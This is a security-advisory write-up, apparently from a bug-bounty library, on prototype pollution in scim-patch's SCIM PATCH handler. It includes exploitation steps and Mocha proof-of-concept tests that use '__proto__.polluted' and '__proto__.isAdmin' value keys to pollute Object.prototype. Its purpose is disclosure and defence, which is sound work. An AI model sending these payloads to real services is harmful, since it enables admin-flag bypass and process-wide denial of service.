# scimPatch vulnerable to prototype pollution via unfiltered keys in patch

scim-patch's addOrReplaceObjectAttribute passes attacker-controlled value keys like "__proto__.polluted" into an unfiltered assign walk, letting any SCIM PATCH client pollute Object.prototype process-wide.

- Payout: Research
- Severity: critical
- Program: scim-patch
- Found by: McHippy3, leewang0
- Disclosed: 2026-06-22
- CVE: CVE-2026-48170
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9m6g-wc8r-q59c
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9m6g-wc8r-q59c
- Tags: area:oss domain:oss impact:integrity impact:privesc kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:auth-bypass vuln:prototype-pollution

**Target:** npm library scimPatch() SCIM PATCH handler
**Root cause:** addOrReplaceObjectAttribute iterates patch.value keys with Object.entries and feeds them to resolvePaths/assign, which walks key paths without filtering __proto__/constructor/prototype, so obj["__proto__"] resolves to Object.prototype and the final write lands there.
**Steps:**
1. Send a SCIM PATCH with body op `add`, path `name`, value `{ "__proto__.polluted": "yes" }`
2. scimPatch() calls addOrReplaceObjectAttribute, which iterates the value keys and calls `assign(property, resolvePaths(key), value, op)`
3. assign walks keyPath; `"__proto__" in obj` is true so no fresh object is created, and `obj = obj["__proto__"]` becomes Object.prototype
4. Final write sets `Object.prototype.polluted`, observable as `({}).polluted === 'yes'` for the whole Node process
5. Same shape with `{ "__proto__.isAdmin": true }` sets Object.prototype.isAdmin, enabling auth-flag bypass in downstream code
**How found:** Code review of the SCIM PATCH value-handling path: noticing Object.entries over user-supplied value keys feeding a dot-split path walker with no dangerous-key filtering, then tracing that obj["__proto__"] resolves to Object.prototype.
**Exploitation:** Any authenticated provisioning client (IdP) hitting a SCIM PATCH /Users/:id endpoint on a service using scim-patch <=0.9.0 can inject __proto__ keys; pollution persists until process restart, affecting every subsequent request in that container, e.g. flipping isAdmin checks or breaking pg prepared-statement naming.
**Escalation:** Pollution is process-wide and persistent, so a single low-privilege provisioning request can escalate to admin-flag bypass or DoS across all requests handled by the container.
**Insight:** SCIM PATCH 'value' objects are keyed by attribute names, so any library that treats those keys as path segments must filter __proto__/constructor/prototype — grep for Object.entries(patch.value) feeding a dot-split assign walker in SCIM/JSON-patch libraries.

## Proof of concept (copied exactly from the original report)

**Mocha test polluting Object.prototype via __proto__ key**

```
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });
```

**Test elevating Object.prototype.isAdmin**

```
it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
```

